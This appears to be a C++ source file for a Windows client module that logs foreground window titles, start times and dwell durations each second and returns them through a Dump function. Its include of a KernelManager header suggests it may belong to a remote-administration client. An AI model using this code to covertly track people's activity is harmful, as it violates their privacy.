// ActivityHistory.cpp: 客户端历史活动记录采集模块 #include "stdafx.h" #include "ActivityHistory.h" #include "KernelManager.h" // ActivityWindow ActivityHistory& ActivityHistory::Instance() { static ActivityHistory inst; return inst; } void ActivityHistory::Start() { if (m_started.exchange(true)) return; m_running = true; m_thread = std::thread(&ActivityHistory::Loop, this); } void ActivityHistory::Stop() { m_running = false; if (m_thread.joinable()) m_thread.join(); } std::string ActivityHistory::Dump() const { std::lock_guard lock(m_mutex); std::string out; // 当前进行中的窗口:若已持续达到阈值,作为最新一条返回 if (!m_curTitle.empty() && m_curDwellSec >= ACTIVITY_MIN_DWELL_SEC) out += FormatRecord(m_curStartTime, m_curTitle, m_curDwellSec) + "\n"; for (const auto& r : m_records) out += r + "\n"; return out; } void ActivityHistory::Loop() { // 空闲打断阈值:远大于 ACTIVITY_MIN_DWELL_SEC,避免“停在一个窗口上看几秒”被过早结账。 const DWORD IDLE_THRESHOLD_MS = ACTIVITY_IDLE_BREAK_SEC * 1000; ActivityWindow aw; HWND lastHwnd = NULL; std::string lastTitle; std::string startTime; int dwellSec = 0; while (m_running) { // 取前台窗口句柄 + 标题;空闲/锁定/取不到标题时 hwnd==NULL 或 title 为空 HWND hwnd = aw.GetActiveWindowHandle(IDLE_THRESHOLD_MS); std::string title = aw.GetActiveTitleOrEmpty(IDLE_THRESHOLD_MS); { std::lock_guard lock(m_mutex); if (hwnd == NULL || title.empty()) { // 空闲/锁定/无标题:结账上一个窗口 if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); lastHwnd = NULL; lastTitle.clear(); dwellSec = 0; } else if (hwnd == lastHwnd) { // 同一窗口:即使标题动态变化也连续累计,标题取最新值 ++dwellSec; lastTitle = title; } else { // 窗口切换:结账上一个,开始累计新窗口 if (lastHwnd != NULL && dwellSec >= ACTIVITY_MIN_DWELL_SEC) m_records.push_front(FormatRecord(startTime, lastTitle, dwellSec)); lastHwnd = hwnd; lastTitle = title; startTime = NowStr(); dwellSec = 1; } while (m_records.size() > ACTIVITY_HISTORY_MAX) m_records.pop_back(); m_curTitle = lastTitle; m_curStartTime = startTime; m_curDwellSec = dwellSec; } Sleep(1000); } } std::string ActivityHistory::FormatRecord(const std::string& startTime, const std::string& title, int dwellSec) { // 标题里的换行会破坏“每行一条”,做最小清洗 std::string t; t.reserve(title.size()); for (char c : title) { if (c == '\r' || c == '\n') c = ' '; t += c; } return "[" + startTime + "] [" + t + "] " + FormatDuration(dwellSec); } std::string ActivityHistory::FormatDuration(int sec) { if (sec < 0) sec = 0; if (sec < 60) return std::to_string(sec) + "s"; if (sec < 3600) { int m = sec / 60, s = sec % 60; return s ? std::to_string(m) + "m" + std::to_string(s) + "s" : std::to_string(m) + "m"; } int h = sec / 3600, m = (sec % 3600) / 60; return std::to_string(h) + "h" + std::to_string(m) + "m"; } std::string ActivityHistory::NowStr() { SYSTEMTIME st; GetLocalTime(&st); char buf[32]; sprintf_s(buf, sizeof(buf), "%04d-%02d-%02d %02d:%02d:%02d", st.wYear, st.wMonth, st.wDay, st.wHour, st.wMinute, st.wSecond); return buf; }